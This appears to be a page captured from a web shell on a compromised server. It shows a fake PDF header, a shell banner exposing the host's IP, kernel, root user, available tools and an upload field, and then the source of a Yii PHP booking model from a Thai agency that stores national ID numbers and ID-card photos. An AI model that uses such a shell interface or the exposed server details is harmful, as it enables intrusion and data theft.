%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/backend/modules/booking_data/models/ |
Upload File : |
<?php namespace backend\modules\booking_data\models; use Yii; use yii\behaviors\TimestampBehavior; use yii\web\UploadedFile; use yii\db\ActiveRecord; use dektrium\user\models\User; /** * This is the model class for table "booking_data". * * @property int $id * @property string $dateon วันที่ขอใช้บริการ * @property string $datein วันที่ใช้บริการ * @property string $name ชื่อ-นามสกุล * @property string $pin หมายเลขประจำตัวประชาชน * @property string $department_name ชื่อหน่วยงาน * @property int $department_type_id ประเภทผู้ขอใช้ * @property string $tel หมายเลขโทรศัพท์ * @property string $picture ภาพถ่ายบัตรประจำตัวข้าราชการ/พนักงาน/บัตรประชาชน * @property int $location_center_id ขอใช้สถานที่ * @property int $location_room_id ส่วนที่ขอใช้บริการ * @property int $num_user จำนวนผู้เข้าใช้ * @property string $comment หมายเหตุ * @property string $waivefees ของดเว้นค่าธรรมเนียม เนื่องจาก * @property int $cost ค่าตอบแทน * @property string $file ไฟล์เอกสารขอใช้บริการ (ถ้ามี) * @property int $status * @property string $created_at * @property string $updated_at * @property int $user_id ผู้บันทึก * * @property DepartmentType $departmentType * @property LocationCenter $locationCenter * @property LocationRoom $locationRoom */ class BookingData extends \yii\db\ActiveRecord { /** * {@inheritdoc} */ public $upload_foler = 'files'; public static function tableName() { return 'booking_data'; } public function behaviors() { return [ 'timestamp' => [ 'class' => TimestampBehavior::className(), // 'attributes' => [ // MyActiveRecord::EVENT_BEFORE_INSERT => ['created_at', 'updated_at'], // MyActiveRecord::EVENT_BEFORE_UPDATE => ['updated_at'], // ], 'value' => function($event) { return date('Y-m-d H:i:s'); }, // 'createdAtAttribute' => 'created_at', // 'updatedAtAttribute' => 'updated_at', // 'value' => date("Y-m-d H:i:s"), ], ]; } public function rules() { return [ [['dateon', 'datein', 'created_at', 'updated_at'], 'safe'], [['department_type_id', 'location_center_id', 'location_room_id', 'name', 'pin', 'tel', 'datein', 'dateon'], 'required'], [['department_type_id', 'location_center_id', 'location_room_id', 'num_user', 'cost', 'status', 'user_id'], 'integer'], [['comment', 'cancel'], 'string'], [['name', 'department_name', 'title', 'waivefees'], 'string', 'max' => 255], [['pin', 'tel'], 'string', 'max' => 45], [['filename', 'picture'], 'file', 'skipOnEmpty' => true, 'extensions' => 'pdf,jpg,png', 'maxSize' => 51200000, 'tooBig' => 'ขนาดไฟล์ต้องไม่เกิน 50MB' ], [['cost', 'status', 'num_user'], 'default', 'value' => 0], [['user_id'], 'default', 'value' => 99], [['department_type_id'], 'exist', 'skipOnError' => true, 'targetClass' => DepartmentType::className(), 'targetAttribute' => ['department_type_id' => 'id']], [['location_center_id'], 'exist', 'skipOnError' => true, 'targetClass' => LocationCenter::className(), 'targetAttribute' => ['location_center_id' => 'id']], [['location_room_id'], 'exist', 'skipOnError' => true, 'targetClass' => LocationRoom::className(), 'targetAttribute' => ['location_room_id' => 'id']], ]; } /** * {@inheritdoc} */ public function attributeLabels() { return [ 'id' => 'ID', 'dateon' => 'ถึงวันที่', 'datein' => 'วันที่ใช้บริการ', 'name' => 'ชื่อ-นามสกุล', 'pin' => 'หมายเลขประจำตัวประชาชน', 'department_name' => 'ชื่อหน่วยงาน', 'department_type_id' => 'ประเภทผู้ขอใช้', 'tel' => 'หมายเลขโทรศัพท์', 'picture' => 'ภาพถ่ายบัตรประจำตัวข้าราชการ/พนักงาน/บัตรประชาชน', 'location_center_id' => 'ขอใช้สถานที่', 'location_room_id' => 'ส่วนที่ขอใช้บริการ', 'title' => 'โครงการ/กิจกรรม', 'num_user' => 'จำนวนผู้เข้าใช้', 'comment' => 'หมายเหตุ', 'waivefees' => 'ของดเว้นค่าธรรมเนียม เนื่องจาก', 'cost' => 'ค่าตอบแทน', 'filename' => 'ไฟล์เอกสารขอใช้บริการ (ถ้ามี)', 'status' => 'Status', 'cancel' => 'เหตุผลที่ไม่อนุมัติ', 'created_at' => 'Created At', 'updated_at' => 'Updated At', 'user_id' => 'ผู้บันทึก', ]; } /** * @return \yii\db\ActiveQuery */ public function getDepartmentType() { return $this->hasOne(DepartmentType::className(), ['id' => 'department_type_id']); } /** * @return \yii\db\ActiveQuery */ public function getLocationCenter() { return $this->hasOne(LocationCenter::className(), ['id' => 'location_center_id']); } /** * @return \yii\db\ActiveQuery */ public function getLocationRoom() { return $this->hasOne(LocationRoom::className(), ['id' => 'location_room_id']); } public function getUser() { return $this->hasOne(User::className(), ['id' => 'user_id']); } public function upload($model, $attribute) { $delold = BookingData::find()->where(['id' => $model->id])->one(); $file = UploadedFile::getInstance($model, $attribute); $path = $this->getUploadPath(); if ($this->validate() && $file !== null) { $directory = \Yii::getAlias('@backend/web/files'); if (!$model->isNewRecord) { if (is_file($directory . DIRECTORY_SEPARATOR . $delold->filename)) { unlink($directory . DIRECTORY_SEPARATOR . $delold->filename); } } $fName = md5($file->baseName . time()) . '.' . $file->extension; if ($file->saveAs($path . $fName)) { return $fName; } } return $model->isNewRecord ? false : $model->getOldAttribute($attribute); } public function uploadpic($model, $attribute) { $delold = BookingData::find()->where(['id' => $model->id])->one(); $file = UploadedFile::getInstance($model, $attribute); $path = $this->getUploadPath(); if ($this->validate() && $file !== null) { $directory = \Yii::getAlias('@backend/web/files'); if (!$model->isNewRecord) { if (is_file($directory . DIRECTORY_SEPARATOR . $delold->picture)) { unlink($directory . DIRECTORY_SEPARATOR . $delold->picture); } } $fName = md5($file->baseName . time()) . '.' . $file->extension; if ($file->saveAs($path . $fName)) { return $fName; } } return $model->isNewRecord ? false : $model->getOldAttribute($attribute); } public function getUploadPath() { return Yii::getAlias('@backend/web') . '/' . $this->upload_foler . '/'; } public function getUploadUrl() { return Yii::getAlias('@backend') . '/' . $this->upload_foler . '/'; } public function getPhotoViewer() { return empty($this->filename) ? Yii::getAlias('@backend') . '/files/nodoc.png' : $this->getUploadUrl() . $this->filename; } }